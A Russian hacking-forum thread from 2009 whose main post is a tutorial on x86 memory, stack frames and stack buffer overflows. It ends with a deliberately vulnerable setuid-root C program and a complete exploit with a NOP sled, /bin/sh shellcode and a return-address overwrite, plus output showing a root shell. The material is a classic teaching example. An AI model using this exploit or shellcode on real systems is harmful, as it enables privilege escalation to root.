DOS & Black
Суббота, 23.11.2024, 11:20
Приветствую Вас DOS
Главная | Регистрация | Вход | RSS

Эксплоит(exploit) - Форум

[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Эксплоит(exploit)
NewCompДата: Суббота, 27.06.2009, 13:22 | Сообщение # 1
Лейтенант
Группа: Проверенные
Сообщений: 46
Репутация: 22
Статус: Offline
Что такое эксплоиты?
Эксплоит (Exploit) - это программа которая использует ту или иную уязвимость в программном обеспечении. Цели эксплоита могут быть различны. Некоторые служат для выполнения произвольного кода на компьютере жертвы, другие для отказа в обслуживании (DoS - Denial Of Service). Эксплоит может быть написан практически на любом языке программирования. Чаще всего для их написания используют C, C++, Perl. Для того, чтобы понять как написать эксплоит, нужно понять, как распределяется память и какие процессы происходят при запуске программ.

1.1 Память

В начале, память компьютера может показаться пугающей и непонятной. Но в последствии можно убедиться, что это не какие-то чудеса, и по сути ее можно сравнить с гиганским калькулятором. Это просто байты, хранящиеся во временной памяти, на которые указывают их адреса. Эта память может быть доступна по ее адресам, и каждый байт, имеющий определенный адрес может быть прочитан или записан в нее. Процессор Intel x86 использует 32 битную адресацию, а это значит что может быть 2^32 или 4,294,967,296 возможных адресов.
Существуют также специальные типы переменных, которые называются указатели. Они используются для хранения адресов памяти которые ссылаются на какую либо информацию. Процессор имеет свою специальную память, которая относительно мала. Указатели в этой памяти называются регистры. Один из более "заметных" указателей - EIP (Extended Instruction Pointer). EIP - это указатель, который содержит адрес текущей исполняемой инструкции. Другие 32-битные регистры используют EBP (Extended Base Pointer) и ESP (Extended Stack Pointer) указатели. Все три регистра важны для исполнения программы.

1.2 Распределение памяти

Когда объявляют переменные в языках высокого уровня, таких как C, используют тип данных. Для этих переменных выделяется место в памяти компьютера. Например для данных типа int (integer) нужно 4 байта, а символьным данным (типа char) всего 1 байт. Это значит, что int имеет 32 бита в памяти (4,294,967,296 возможных значений), тогда как char только 8 бит (256 возможных значений).

Также могут быть объявлены массивы. Массив это просто список из N элементов, определенного типа данных. Так 10-символьный массив, это 10 смешанных символов, находящихся в памяти. Часто массив называют "буффер", а символьный массив - "строка". Вот несколько примеров объявления переменных в языке C:

Code
int integer_variable; //Переменная типа int

char charter_variable; //Переменная типа char

char charter_array[10]; //Символьный массив из 10 символов

char *buffer_pointer; //Символьный указатель

Есть одна важная деталь в памяти процессоров x86. Байты в ней распределяются как 4-байтовые слова. Фактически, это значит, что байты в памяти храняться в инверсии. Например: шестнадцатиричное значение 0x12345678 будет выглядеть в памяти как 0x78563412.

1.3 Нуль-байты

Иногда 10-байтовый символьный массив использует только 4 байта. Если поместить в 10-байтовый массив слово "test", то в конце массива будут находиться дополнительные байты, которые не нужны. Нуль, или нуль-байт, служит "ограничителем". Он сообщает функции, о прекращении ее выполнения. Пример:
Код:

Code
0 1 2 3 4 5 6 7 8 9

t e s t 0 X X X X X

Так, функция, копирующая строку, скопирует только слово "test", и остановиться на нуль-байте. Тоже самое будет и при выводе строки на экран.

1.4 Ceгментация программной памяти

Программа делится на 5 сегментов: text, data, bss, heap и stack. Каждый из сегментов "представляется" в специальной части памяти, отведенной под него. Сегмент текста (text segment) также называется иногда сегментом кода (code segment). Он будет переведен в машинный код. Выполнение инструкций в этом сегменте не линейное. При выполнении программы в EIP помещается первая инструкция в text-сегменте. Дальше процессор начинает выполнять цикл, который состоит из следующего:

1. Прочитать инструкцию на которую указывает EIP

2. Добавить длинну (в байтах) инструкции в EIP

3. Выполнить инструкцию которая была прочитана при шаге #1

4. Перейти на шаг #1

Иногда это может быть jump или call инструкция, которая изменяет EIP на другой адрес в памяти. Процессор не волнует это изменение, так как выполнение инструкций не линейное. Тоесть, если EIP изменится в шаге #3, то процессор просто вернется на шаг #1 и прочитает инструкцию найденную по адресу, на который изменился EIP.

Data и bss сегменты используются для хранения глобальных и статических переменных. Data сегмент инициализируется глобальными переменными, строками и другими константами, которые используются в программе. В оба эти сегмента можно записывать данные, и у них фиксированый размер.

Heap сегмент используется для хранения остальных программных переменных. Этот сегмент не имеет фиксированный размер, а значит может быть больше или меньше в зависимости от надобности.

Stack сегмент также имеет непостоянный размер, и используется для временного хранения контекста во время вызова функции. Когда программа вызывает функцию, эта функция содержит свои переменные, и код функции будет находиться в различных местах сегмента кода (text segment). Вообще стек это структура представления данных, которая используется достаточно часто. Он имеет порядок FILO (First-in last-out). Это значит, что первое значение помещается в стек, а последнее забирается оттуда. Помещение значения в стек известно как pushing, а перемещение значения из стека называется popping.

ESP регистр используется для обозначения конечного адреса стека, который постоянно меняется из-за добавления и перемещения данных в и из стека. FILO стека может показаться странным, так как стек используется для хранения контекста, что очень полезно. Когда функция вызвана, несколько значений помещаются в стек вместе в структуру называемую stack frame (стековый фрейм).EBP регистр (иногда называется фреймовым указателем (FP) или локальным базовым указателем (LB)) используется для распределения переменных в определенном стековом фрейме. Каждый стековый фрейм содержит параметры функции, ее локальные переменные и два указателя, которые необходимы для возврата данных назад по пути состоящем из двух этапов: SFP (Saved frame pointer) и адрес возврата. Фреймовый указатель (имеется в виду SFP а не EBP) используется для восстановления педидущего значения EBP. Адрес возврата используется для загрузки в EIP следующей инструкции, найденной после вызова функции.

1.5 Переполнение буффера. Пишем эксплоит

Давайте для начала напишем программу, в которой можно будет вызвать переполнение буффера:
Код:

Code
int main(int argc, char *argv[]) {

char buffer[500]; //Объявляем 500 байтовый буффер

strcpy(buffer, argv[1]); //Копируем в буффер 1 аргумент

return 0; }

Назовем эту программу "target.c". Как видно, если в эту программу ввести строку более 500 символов, это вызовет переполнение буффера. Скомпилируем и выполним ее:
Код:
Code
[user@gasolina hack]# gcc -o target target.c

[user@gasolina hack]# ./target test

И мы увидим, что программа ничего не делает. Давайте сейчас сделаем ее понастоящему уязвимой, и зададим ей соответствующие права:

Код:

Code
[root@gasolina hack]# sudo chown root target

[root@gasolina hack]# sudo chmod +s target

[root@gasolina hack]# ls -l target

-rwsr-sr-x    1 root    users    11410 Jan 29 02:21 target
Теперь наша программа полностью уязвима к переполнению буффера, осталось дело за малым - написать эксплоит.

Первое что нужно учесть - это NOP sled. Это однобайтовая инструкция которая не делает абсолютно ничего. В нашем случае эта NOP инструкция служит для различных целей; Рядом с NOP инструкцией мы создаем большой массив, и располагаем его перед шеллкодом (более подробно написание шеллкода рассмотрено здесь). Если EIP возвращает некоторый адрес, найденный в NOP инструкции, EIP будет увеличиваться пока выполняется NOP инструкция, и в конце концов достигнет шеллкода. Это значит, что адрес возврата будет перезаписан другим адресом, который находиться в NOP. EIP сдвинеться на начало шеллкода, а значит он будет выполнен. Ниже показано представление данного буффера:
Код:

Code
|-----NOP Sled-----|SHELLCODE|-----REPEATED RETURN ADRESS-----|

Ниже представлен код эксплоита для нашей программы (exploit.c). Сначала эксплоит берет существующий указатель стека и вычитает оффсет из него. В нашем случае оффсет - 0. Потом отводиться память под буффер (в heap) и буффер с адресом возврата помещается в нее. Далее в первые 200 байт буффера помещается NOP инструкция (В машинном коде x86 процессора это значение равно 0x90). После NOP инструкции помещается сам шеллкод, с адресом возврата. И далее стоит функция запускающая уязвимую программу. А вот и сам исходник:
Код:
Code
#include   

char shellcode[]=

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x  5b\x31\xc0"

"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x  4b\x08\x8d"

" \x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x  6e\x2f\x73"

"\x68";

unsigned long sp(void) // Это просто небольшая функция

{ __asm__("movl %esp, %eax");} // Используем return the stack pointer (возвратный указатель стека)

int main(int argc, char *argv[]) {

int i, offset;

long esp, ret, *addr_ptr;

char *buffer, *ptr;

offset = 0; // Оффсет равный 0

esp = sp(); // Отправляем текущий указатель стека в esp

ret = esp - offset; // Нам нужно перезаписать RET адрес (адрес возврата)

printf("Stack pointer (ESP) : 0x%x\n", esp);

printf(" Offset from ESP : 0x%x\n", offset);

printf("Desired Return Addr : 0x%x\n", ret);

// Отводим 600 байт под буффер (on the heap)

buffer = malloc(600);

// Заливаем введенный буффер с адресом возврата

ptr = buffer;

addr_ptr = (long *) ptr;

for(i=0; i < 600; i+=4)

{ *(addr_ptr++) = ret; }

// Заливаем первые 200 байт в буффер (NOP инструкцию)

for(i=0; i < 200; i++)

{ buffer[i] = '\x90'; }

// Заливаем шеллкод после NOP инстукции

ptr = buffer + 200;

for(i=0; i < strlen(shellcode); i++)

{ *(ptr++) = shellcode[i]; }

// Конец строки

buffer[600-1] = 0;

// Теперь вызовем программу ./target с ее аргументом

execl("./target", "test", buffer, 0);   
// Освободим память буффера

free(buffer);

return 0;

}

Это результат компиляции и выполнения эксплоита:
Код:
Code
[user@gasolina hack]# gcc -o exploit exploit.c

[user@gasolina hack]# ./exploit

Stack pointer (ESP) : 0xbffff978

Offset from ESP : 0x0

Desired Return Addr : 0xbffff978

sh-2.05a# whoami

root

sh-2.05a#
Как видите это работает. Адрес возврата в стековом фрейме перезаписан на0xbffff978, что есть адрес NOP и шеллкода. Так как suid программы - root, то и шелл запускается с под root'ом. Это один из примеров написания эксплоитов.
[size=11]NewComp[/size] при поддержке DOS®


ХАК это моя стихия!

Сообщение отредактировал NewComp - Суббота, 27.06.2009, 13:24
 
DOSДата: Суббота, 27.06.2009, 13:26 | Сообщение # 2
Генералиссимус
Группа: Администратор
Сообщений: 709
Репутация: 102
Статус: Offline
Не успел скинуть эту статью)))

:)
 
NewCompДата: Суббота, 27.06.2009, 13:27 | Сообщение # 3
Лейтенант
Группа: Проверенные
Сообщений: 46
Репутация: 22
Статус: Offline
Ладно следующая статья по эксплоитам твоя)

ХАК это моя стихия!
 
DOSДата: Суббота, 27.06.2009, 13:59 | Сообщение # 4
Генералиссимус
Группа: Администратор
Сообщений: 709
Репутация: 102
Статус: Offline
Ок

:)
 
  • Страница 1 из 1
  • 1
Поиск: